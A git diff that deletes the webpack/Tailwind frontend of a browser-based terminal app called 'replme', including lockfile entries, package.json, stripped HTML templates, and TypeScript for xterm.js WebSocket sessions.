- "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
- "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
- "dev": true,
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/tailwindcss": {
- "version": "3.4.3",
- "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.3.tgz",
- "integrity": "sha512-U7sxQk/n397Bmx4JHbJx/iSOOv5G+II3f1kpLpY2QeUv5DcPdcTsYLlusZfq1NthHS1c1cZoyFmmkex1rzke0A==",
- "dev": true,
- "dependencies": {
- "@alloc/quick-lru": "^5.2.0",
- "arg": "^5.0.2",
- "chokidar": "^3.5.3",
- "didyoumean": "^1.2.2",
- "dlv": "^1.1.3",
- "fast-glob": "^3.3.0",
- "glob-parent": "^6.0.2",
- "is-glob": "^4.0.3",
- "jiti": "^1.21.0",
- "lilconfig": "^2.1.0",
- "micromatch": "^4.0.5",
- "normalize-path": "^3.0.0",
- "object-hash": "^3.0.0",
- "picocolors": "^1.0.0",
- "postcss": "^8.4.23",
- "postcss-import": "^15.1.0",
- "postcss-js": "^4.0.1",
- "postcss-load-config": "^4.0.1",
- "postcss-nested": "^6.0.1",
- "postcss-selector-parser": "^6.0.11",
- "resolve": "^1.22.2",
- "sucrase": "^3.32.0"
- },
- "bin": {
- "tailwind": "lib/cli.js",
- "tailwindcss": "lib/cli.js"
- },
- "engines": {
- "node": ">=14.0.0"
- }
- },
- "node_modules/tapable": {
- "version": "2.2.1",
- "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz",
- "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==",
- "dev": true,
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/terser": {
- "version": "5.31.0",
- "resolved": "https://registry.npmjs.org/terser/-/terser-5.31.0.tgz",
- "integrity": "sha512-Q1JFAoUKE5IMfI4Z/lkE/E6+SwgzO+x4tq4v1AyBLRj8VSYvRO6A/rQrPg1yud4g0En9EKI1TvFRF2tQFcoUkg==",
- "dev": true,
- "dependencies": {
- "@jridgewell/source-map": "^0.3.3",
- "acorn": "^8.8.2",
- "commander": "^2.20.0",
- "source-map-support": "~0.5.20"
- },
- "bin": {
- "terser": "bin/terser"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/terser-webpack-plugin": {
- "version": "5.3.10",
- "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz",
- "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==",
- "dev": true,
- "dependencies": {
- "@jridgewell/trace-mapping": "^0.3.20",
- "jest-worker": "^27.4.5",
- "schema-utils": "^3.1.1",
- "serialize-javascript": "^6.0.1",
- "terser": "^5.26.0"
- },
- "engines": {
- "node": ">= 10.13.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/webpack"
- },
- "peerDependencies": {
- "webpack": "^5.1.0"
- },
- "peerDependenciesMeta": {
- "@swc/core": {
- "optional": true
- },
- "esbuild": {
- "optional": true
- },
- "uglify-js": {
- "optional": true
- }
- }
- },
- "node_modules/terser/node_modules/commander": {
- "version": "2.20.3",
- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
- "dev": true
- },
- "node_modules/thenify": {
- "version": "3.3.1",
- "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
- "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
- "dev": true,
- "dependencies": {
- "any-promise": "^1.0.0"
- }
- },
- "node_modules/thenify-all": {
- "version": "1.6.0",
- "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
- "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
- "dev": true,
- "dependencies": {
- "thenify": ">= 3.1.0 < 4"
- },
- "engines": {
- "node": ">=0.8"
- }
- },
- "node_modules/to-regex-range": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
- "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
- "dev": true,
- "dependencies": {
- "is-number": "^7.0.0"
- },
- "engines": {
- "node": ">=8.0"
- }
- },
- "node_modules/ts-interface-checker": {
- "version": "0.1.13",
- "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
- "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==",
- "dev": true
- },
- "node_modules/ts-loader": {
- "version": "9.5.1",
- "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-9.5.1.tgz",
- "integrity": "sha512-rNH3sK9kGZcH9dYzC7CewQm4NtxJTjSEVRJ2DyBZR7f8/wcta+iV44UPCXc5+nzDzivKtlzV6c9P4e+oFhDLYg==",
- "dev": true,
- "dependencies": {
- "chalk": "^4.1.0",
- "enhanced-resolve": "^5.0.0",
- "micromatch": "^4.0.0",
- "semver": "^7.3.4",
- "source-map": "^0.7.4"
- },
- "engines": {
- "node": ">=12.0.0"
- },
- "peerDependencies": {
- "typescript": "*",
- "webpack": "^5.0.0"
- }
- },
- "node_modules/ts-loader/node_modules/source-map": {
- "version": "0.7.4",
- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
- "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==",
- "dev": true,
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/typescript": {
- "version": "5.4.5",
- "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.4.5.tgz",
- "integrity": "sha512-vcI4UpRgg81oIRUFwR0WSIHKt11nJ7SAVlYNIu+QpqeyXP+gpQJy/Z4+F0aGxSE4MqwjyXvW/TzgkLAx2AGHwQ==",
- "dev": true,
- "peer": true,
- "bin": {
- "tsc": "bin/tsc",
- "tsserver": "bin/tsserver"
- },
- "engines": {
- "node": ">=14.17"
- }
- },
- "node_modules/undici-types": {
- "version": "5.26.5",
- "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-5.26.5.tgz",
- "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==",
- "dev": true
- },
- "node_modules/update-browserslist-db": {
- "version": "1.0.15",
- "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.15.tgz",
- "integrity": "sha512-K9HWH62x3/EalU1U6sjSZiylm9C8tgq2mSvshZpqc7QE69RaA2qjhkW2HlNA0tFpEbtyFz7HTqbSdN4MSwUodA==",
- "dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/browserslist"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "escalade": "^3.1.2",
- "picocolors": "^1.0.0"
- },
- "bin": {
- "update-browserslist-db": "cli.js"
- },
- "peerDependencies": {
- "browserslist": ">= 4.21.0"
- }
- },
- "node_modules/uri-js": {
- "version": "4.4.1",
- "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
- "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
- "dev": true,
- "dependencies": {
- "punycode": "^2.1.0"
- }
- },
- "node_modules/util-deprecate": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
- "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
- "dev": true
- },
- "node_modules/watchpack": {
- "version": "2.4.1",
- "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.1.tgz",
- "integrity": "sha512-8wrBCMtVhqcXP2Sup1ctSkga6uc2Bx0IIvKyT7yTFier5AXHooSI+QyQQAtTb7+E0IUCCKyTFmXqdqgum2XWGg==",
- "dev": true,
- "dependencies": {
- "glob-to-regexp": "^0.4.1",
- "graceful-fs": "^4.1.2"
- },
- "engines": {
- "node": ">=10.13.0"
- }
- },
- "node_modules/webpack": {
- "version": "5.91.0",
- "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.91.0.tgz",
- "integrity": "sha512-rzVwlLeBWHJbmgTC/8TvAcu5vpJNII+MelQpylD4jNERPwpBJOE2lEcko1zJX3QJeLjTTAnQxn/OJ8bjDzVQaw==",
- "dev": true,
- "dependencies": {
- "@types/eslint-scope": "^3.7.3",
- "@types/estree": "^1.0.5",
- "@webassemblyjs/ast": "^1.12.1",
- "@webassemblyjs/wasm-edit": "^1.12.1",
- "@webassemblyjs/wasm-parser": "^1.12.1",
- "acorn": "^8.7.1",
- "acorn-import-assertions": "^1.9.0",
- "browserslist": "^4.21.10",
- "chrome-trace-event": "^1.0.2",
- "enhanced-resolve": "^5.16.0",
- "es-module-lexer": "^1.2.1",
- "eslint-scope": "5.1.1",
- "events": "^3.2.0",
- "glob-to-regexp": "^0.4.1",
- "graceful-fs": "^4.2.11",
- "json-parse-even-better-errors": "^2.3.1",
- "loader-runner": "^4.2.0",
- "mime-types": "^2.1.27",
- "neo-async": "^2.6.2",
- "schema-utils": "^3.2.0",
- "tapable": "^2.1.1",
- "terser-webpack-plugin": "^5.3.10",
- "watchpack": "^2.4.1",
- "webpack-sources": "^3.2.3"
- },
- "bin": {
- "webpack": "bin/webpack.js"
- },
- "engines": {
- "node": ">=10.13.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/webpack"
- },
- "peerDependenciesMeta": {
- "webpack-cli": {
- "optional": true
- }
- }
- },
- "node_modules/webpack-cli": {
- "version": "5.1.4",
- "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-5.1.4.tgz",
- "integrity": "sha512-pIDJHIEI9LR0yxHXQ+Qh95k2EvXpWzZ5l+d+jIo+RdSm9MiHfzazIxwwni/p7+x4eJZuvG1AJwgC4TNQ7NRgsg==",
- "dev": true,
- "dependencies": {
- "@discoveryjs/json-ext": "^0.5.0",
- "@webpack-cli/configtest": "^2.1.1",
- "@webpack-cli/info": "^2.0.2",
- "@webpack-cli/serve": "^2.0.5",
- "colorette": "^2.0.14",
- "commander": "^10.0.1",
- "cross-spawn": "^7.0.3",
- "envinfo": "^7.7.3",
- "fastest-levenshtein": "^1.0.12",
- "import-local": "^3.0.2",
- "interpret": "^3.1.1",
- "rechoir": "^0.8.0",
- "webpack-merge": "^5.7.3"
- },
- "bin": {
- "webpack-cli": "bin/cli.js"
- },
- "engines": {
- "node": ">=14.15.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/webpack"
- },
- "peerDependencies": {
- "webpack": "5.x.x"
- },
- "peerDependenciesMeta": {
- "@webpack-cli/generators": {
- "optional": true
- },
- "webpack-bundle-analyzer": {
- "optional": true
- },
- "webpack-dev-server": {
- "optional": true
- }
- }
- },
- "node_modules/webpack-cli/node_modules/commander": {
- "version": "10.0.1",
- "resolved": "https://registry.npmjs.org/commander/-/commander-10.0.1.tgz",
- "integrity": "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==",
- "dev": true,
- "engines": {
- "node": ">=14"
- }
- },
- "node_modules/webpack-merge": {
- "version": "5.10.0",
- "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.10.0.tgz",
- "integrity": "sha512-+4zXKdx7UnO+1jaN4l2lHVD+mFvnlZQP/6ljaJVb4SZiwIKeUnrT5l0gkT8z+n4hKpC+jpOv6O9R+gLtag7pSA==",
- "dev": true,
- "dependencies": {
- "clone-deep": "^4.0.1",
- "flat": "^5.0.2",
- "wildcard": "^2.0.0"
- },
- "engines": {
- "node": ">=10.0.0"
- }
- },
- "node_modules/webpack-sources": {
- "version": "3.2.3",
- "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz",
- "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==",
- "dev": true,
- "engines": {
- "node": ">=10.13.0"
- }
- },
- "node_modules/which": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
- "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
- "dev": true,
- "dependencies": {
- "isexe": "^2.0.0"
- },
- "bin": {
- "node-which": "bin/node-which"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/wildcard": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.1.tgz",
- "integrity": "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ==",
- "dev": true
- },
- "node_modules/wrap-ansi": {
- "version": "8.1.0",
- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz",
- "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==",
- "dev": true,
- "dependencies": {
- "ansi-styles": "^6.1.0",
- "string-width": "^5.0.1",
- "strip-ansi": "^7.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
- }
- },
- "node_modules/wrap-ansi-cjs": {
- "name": "wrap-ansi",
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
- "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
- "dev": true,
- "dependencies": {
- "ansi-styles": "^4.0.0",
- "string-width": "^4.1.0",
- "strip-ansi": "^6.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
- }
- },
- "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
- "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
- "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
- "dev": true,
- "dependencies": {
- "color-convert": "^2.0.1"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": {
- "version": "8.0.0",
- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
- "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
- "dev": true
- },
- "node_modules/wrap-ansi-cjs/node_modules/string-width": {
- "version": "4.2.3",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
- "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
- "dev": true,
- "dependencies": {
- "emoji-regex": "^8.0.0",
- "is-fullwidth-code-point": "^3.0.0",
- "strip-ansi": "^6.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
- "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
- "dev": true,
- "dependencies": {
- "ansi-regex": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/yallist": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
- "dev": true
- },
- "node_modules/yaml": {
- "version": "2.4.2",
- "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.4.2.tgz",
- "integrity": "sha512-B3VqDZ+JAg1nZpaEmWtTXUlBneoGx6CPM9b0TENK6aoSu5t73dItudwdgmi6tHlIZZId4dZ9skcAQ2UbcyAeVA==",
- "dev": true,
- "bin": {
- "yaml": "bin.mjs"
- },
- "engines": {
- "node": ">= 14"
- }
- },
- "node_modules/zod": {
- "version": "3.23.6",
- "resolved": "https://registry.npmjs.org/zod/-/zod-3.23.6.tgz",
- "integrity": "sha512-RTHJlZhsRbuA8Hmp/iNL7jnfc4nZishjsanDAfEY1QpDQZCahUp3xDzl+zfweE9BklxMUcgBgS1b7Lvie/ZVwA==",
- "funding": {
- "url": "https://github.com/sponsors/colinhacks"
- }
- }
- }
-}
diff --git a/documentation/frontend/package.json b/documentation/frontend/package.json
deleted file mode 100644
index 42d8c8e..0000000
--- a/documentation/frontend/package.json
+++ /dev/null
@@ -1,24 +0,0 @@
-{
- "scripts": {
- "build": "webpack --config webpack.config.js",
- "webpack": "webpack",
- "tailwind": "tailwindcss"
- },
- "dependencies": {
- "@xterm/addon-attach": "^0.11.0",
- "@xterm/addon-canvas": "^0.7.0",
- "@xterm/addon-clipboard": "^0.1.0",
- "@xterm/addon-fit": "^0.10.0",
- "@xterm/addon-webgl": "^0.18.0",
- "@xterm/xterm": "^5.5.0",
- "zod": "^3.23.6"
- },
- "devDependencies": {
- "node-html-parser": "^6.1.13",
- "prettier": "^3.2.5",
- "tailwindcss": "^3.4.3",
- "ts-loader": "^9.5.1",
- "webpack": "^5.91.0",
- "webpack-cli": "^5.1.4"
- }
-}
diff --git a/documentation/frontend/src/css/style.css b/documentation/frontend/src/css/style.css
deleted file mode 100644
index bb2ace5..0000000
--- a/documentation/frontend/src/css/style.css
+++ /dev/null
@@ -1,11 +0,0 @@
-@tailwind base;
-@tailwind components;
-@tailwind utilities;
-
-@layer base {
- @font-face {
- font-family: "DejaVuSansM Nerd Font";
- src: url(/static/font/DejaVuSansMNerdFontMono-Regular.ttf) format("ttf");
- }
-}
-
diff --git a/documentation/frontend/src/html/index.html b/documentation/frontend/src/html/index.html
deleted file mode 100644
index c25190c..0000000
--- a/documentation/frontend/src/html/index.html
+++ /dev/null
@@ -1,26 +0,0 @@
-
-
-
-
-
-
-
-
-
-
- replme
-
-
-
-
diff --git a/documentation/frontend/src/html/layout/panel-layout.html b/documentation/frontend/src/html/layout/panel-layout.html
deleted file mode 100644
index 9e4c6a6..0000000
--- a/documentation/frontend/src/html/layout/panel-layout.html
+++ /dev/null
@@ -1,5 +0,0 @@
-
diff --git a/documentation/frontend/src/html/layout/root-layout.html b/documentation/frontend/src/html/layout/root-layout.html
deleted file mode 100644
index 4c46651..0000000
--- a/documentation/frontend/src/html/layout/root-layout.html
+++ /dev/null
@@ -1,16 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/documentation/frontend/src/html/term.html b/documentation/frontend/src/html/term.html
deleted file mode 100644
index 491b3b3..0000000
--- a/documentation/frontend/src/html/term.html
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
diff --git a/documentation/frontend/src/ts/index.ts b/documentation/frontend/src/ts/index.ts
deleted file mode 100644
index 46ffbd0..0000000
--- a/documentation/frontend/src/ts/index.ts
+++ /dev/null
@@ -1,89 +0,0 @@
-import { randomString, UserSessionResponseSchema } from "./lib"
-
-customElements.define(
- 'session-elem',
- class extends HTMLElement {
- constructor() {
- super();
- // @ts-ignore
- const template = document.getElementById("session-template").content;
- const shadowRoot = this.attachShadow({ mode: "open" });
- [
- '/static/css/style.css',
- '/static/fontawesome/css/fontawesome.css',
- '/static/fontawesome/css/brands.css',
- '/static/fontawesome/css/solid.css'
- ].forEach((href) => {
- const linkElem = document.createElement('link');
- linkElem.rel = 'stylesheet';
- linkElem.href = href;
- shadowRoot.appendChild(linkElem);
- })
- shadowRoot.appendChild(template.cloneNode(true));
- }
- connectedCallback() {
- const hrefSlot = this.shadowRoot.querySelector('slot[name="href"]');
- const dynamicLink = this.shadowRoot.getElementById('dynamic-link');
-
- const updateHref = () => {
- // @ts-ignore
- const nodes = hrefSlot.assignedNodes();
- if (nodes.length > 0) {
- // @ts-ignore
- dynamicLink.href = nodes[0].textContent;
- }
- };
-
- hrefSlot.addEventListener('slotchange', updateHref);
- updateHref();
- }
- },
-)
-
-const button = document.getElementById("repl-button")
-
-button.onclick = async () => {
- const username = randomString(60);
- const password = randomString(60);
- const res = await fetch(
- '/api/repl',
- {
- method: 'POST',
- headers: {
- 'Content-Type': 'application/json'
- },
- body: JSON.stringify({
- username,
- password
- })
- }
- )
-
- if (res.ok) {
- const id = (await res.json()).id
- location.href = "/term/" + id
- }
-
-}
-
-fetch("/api/user/sessions")
- .then((response) => response.json())
- .then((data) => UserSessionResponseSchema.parse(data))
- .then((names) => {
- const container = document.getElementById("session-container")
- names.forEach((name) => {
-
- const session = document.createElement('session-elem');
- const labelSlot = document.createElement('slot');
- labelSlot.slot = "label";
- labelSlot.innerText = name.substring(0, 10) + "...";
- const hrefSlot = document.createElement('slot');
- hrefSlot.slot = "href";
- hrefSlot.innerText = "/term/" + name;
- session.appendChild(labelSlot)
- session.appendChild(hrefSlot)
-
- container.appendChild(session);
- })
- })
-
diff --git a/documentation/frontend/src/ts/lib.ts b/documentation/frontend/src/ts/lib.ts
deleted file mode 100644
index 6f4fcf4..0000000
--- a/documentation/frontend/src/ts/lib.ts
+++ /dev/null
@@ -1,130 +0,0 @@
-import { z } from "zod";
-
-import type { Terminal, IDisposable, ITerminalAddon } from '@xterm/xterm';
-import type { AttachAddon as IAttachApi } from '@xterm/addon-attach';
-
-interface IAttachOptions {
- bidirectional?: boolean;
-}
-
-export class AttachAddon implements ITerminalAddon, IAttachApi {
- private _socket: WebSocket;
- private _bidirectional: boolean;
- private _disposables: IDisposable[] = [];
-
- constructor(socket: WebSocket, options?: IAttachOptions) {
- this._socket = socket;
- // always set binary type to arraybuffer, we do not handle blobs
- this._socket.binaryType = 'arraybuffer';
- this._bidirectional = !(options && options.bidirectional === false);
- }
-
- public activate(terminal: Terminal): void {
- this._disposables.push(
- addSocketListener(this._socket, 'message', ev => {
- const data: ArrayBuffer | string = ev.data;
- terminal.write(typeof data === 'string' ? data : new Uint8Array(data));
- })
- );
-
- if (this._bidirectional) {
- this._disposables.push(terminal.onData(data => this._sendData(data)));
- this._disposables.push(terminal.onBinary(data => this._sendBinary(data)));
- this._disposables.push(terminal.onResize(data => this._sendResize(data)));
- }
-
- this._disposables.push(addSocketListener(this._socket, 'close', () => this.dispose()));
- this._disposables.push(addSocketListener(this._socket, 'error', () => this.dispose()));
- }
-
- public dispose(): void {
- for (const d of this._disposables) {
- d.dispose();
- }
- }
-
- private _toStdin(data: string): string {
- return JSON.stringify({ stdin: data });
- }
-
- private _sendData(data: string): void {
- if (!this._checkOpenSocket()) {
- return;
- }
- this._socket.send(this._toStdin(data));
- }
-
- private _sendBinary(data: string): void {
- if (!this._checkOpenSocket()) {
- return;
- }
-
- data = this._toStdin(data)
-
- const buffer = new Uint8Array(data.length);
- for (let i = 0; i < data.length; ++i) {
- buffer[i] = data.charCodeAt(i) & 255;
- }
- this._socket.send(buffer);
- }
-
- private _sendResize(data: { cols: number, rows: number }): void {
- if (!this._checkOpenSocket()) {
- return;
- }
- const _data = JSON.stringify({ resize: data });
- this._socket.send(_data);
- }
-
- private _checkOpenSocket(): boolean {
- switch (this._socket.readyState) {
- case WebSocket.OPEN:
- return true;
- case WebSocket.CONNECTING:
- throw new Error('Attach addon was loaded before socket was open');
- case WebSocket.CLOSING:
- console.warn('Attach addon socket is closing');
- return false;
- case WebSocket.CLOSED:
- throw new Error('Attach addon socket is closed');
- default:
- throw new Error('Unexpected socket state');
- }
- }
-}
-
-function addSocketListener(socket: WebSocket, type: K, handler: (this: WebSocket, ev: WebSocketEventMap[K]) => any): IDisposable {
- socket.addEventListener(type, handler);
- return {
- dispose: () => {
- if (!handler) {
- // Already disposed
- return;
- }
- socket.removeEventListener(type, handler);
- }
- };
-}
-
-
-export async function sleep(ms: number) {
- return new Promise((resolve) => {
- setTimeout(() => {
- resolve(null);
- }, ms);
- })
-}
-
-export function randomString(n: number): string {
- const charSet = 'abcdefghijklmnopqrstuvwxyz012345';
- var str = '';
- for (let i = 0; i < n; i++) {
- const j = Math.floor(Math.random() * charSet.length);
- str += charSet[j];
- }
- return str;
-}
-
-export const UserSessionResponseSchema = z.array(z.string())
-export type UserSesssionResponse = z.infer;
-
diff --git a/documentation/frontend/src/ts/term.ts b/documentation/frontend/src/ts/term.ts
deleted file mode 100644
index 4e6f344..0000000
--- a/documentation/frontend/src/ts/term.ts
+++ /dev/null
@@ -1,94 +0,0 @@
-import { Terminal } from "@xterm/xterm";
-import { CanvasAddon } from "@xterm/addon-canvas";
-import { ClipboardAddon } from "@xterm/addon-clipboard";
-import { FitAddon } from "@xterm/addon-fit";
-import { AttachAddon, sleep } from "./lib";
-
-const retry = 5;
-const delay = 1000;
-
-const protocol = (location.protocol === 'https:') ? 'wss://' : 'ws://';
-
-const [__1, __2, name] = location.pathname.split('/');
-
-let socketURL = protocol + location.host + '/api/repl/';
-
-const terminal = new Terminal({
- allowProposedApi: true,
- fontFamily: '"DejaVuSansM Nerd Font", courier-new, courier, monospace',
- theme: {
- background: '#ffffff',
- foreground: '#333333',
- cursor: '#333333',
- cursorAccent: '#ffffff',
- selectionBackground: '#add6ff',
- black: '#000000',
- blue: '#0451a5',
- brightBlack: '#666666',
- brightBlue: '#0451a5',
- brightCyan: '#0598bc',
- brightGreen: '#14ce14',
- brightMagenta: '#bc05bc',
- brightRed: '#cd3131',
- brightWhite: '#a5a5a5',
- brightYellow: '#b5ba00',
- cyan: '#0598bc',
- green: '#00bc00',
- magenta: '#bc05bc',
- red: '#cd3131',
- white: '#555555',
- yellow: '#949800'
- }
-});
-
-const canvas = new CanvasAddon();
-const clipboard = new ClipboardAddon();
-const fit = new FitAddon();
-
-terminal.loadAddon(canvas);
-terminal.loadAddon(clipboard);
-terminal.loadAddon(fit);
-
-const resizeObserver = new ResizeObserver(() => {
- fit.fit();
-});
-
-let terminalContainer = document.getElementById('terminal');
-terminal.open(terminalContainer!);
-terminal.focus();
-
-resizeObserver.observe(terminalContainer!);
-
-async function connect() {
- for (let i = 0; i < retry; i++) {
- try {
- socketURL += name;
- const socket = new WebSocket(socketURL);
- socket.onopen = async () => {
- document.addEventListener('keydown', (event) => {
- if (event.code === "Escape") {
- event.preventDefault();
- socket.send(JSON.stringify({ stdin: '\x1B' }));
- terminal.focus();
- }
- });
- terminal.loadAddon(new AttachAddon(socket));
- fit.fit()
- };
- window.onbeforeunload = function(e: any) {
- if (e) {
- e.returnValue = 'Leave site?';
- }
- // safari
- return 'Leave site?';
- };
- break;
- } catch (error) {
- // ignore
- } finally {
- await sleep(delay);
- }
- }
-}
-
-connect();
diff --git a/documentation/frontend/static/css/xterm.css b/documentation/frontend/static/css/xterm.css
deleted file mode 100644
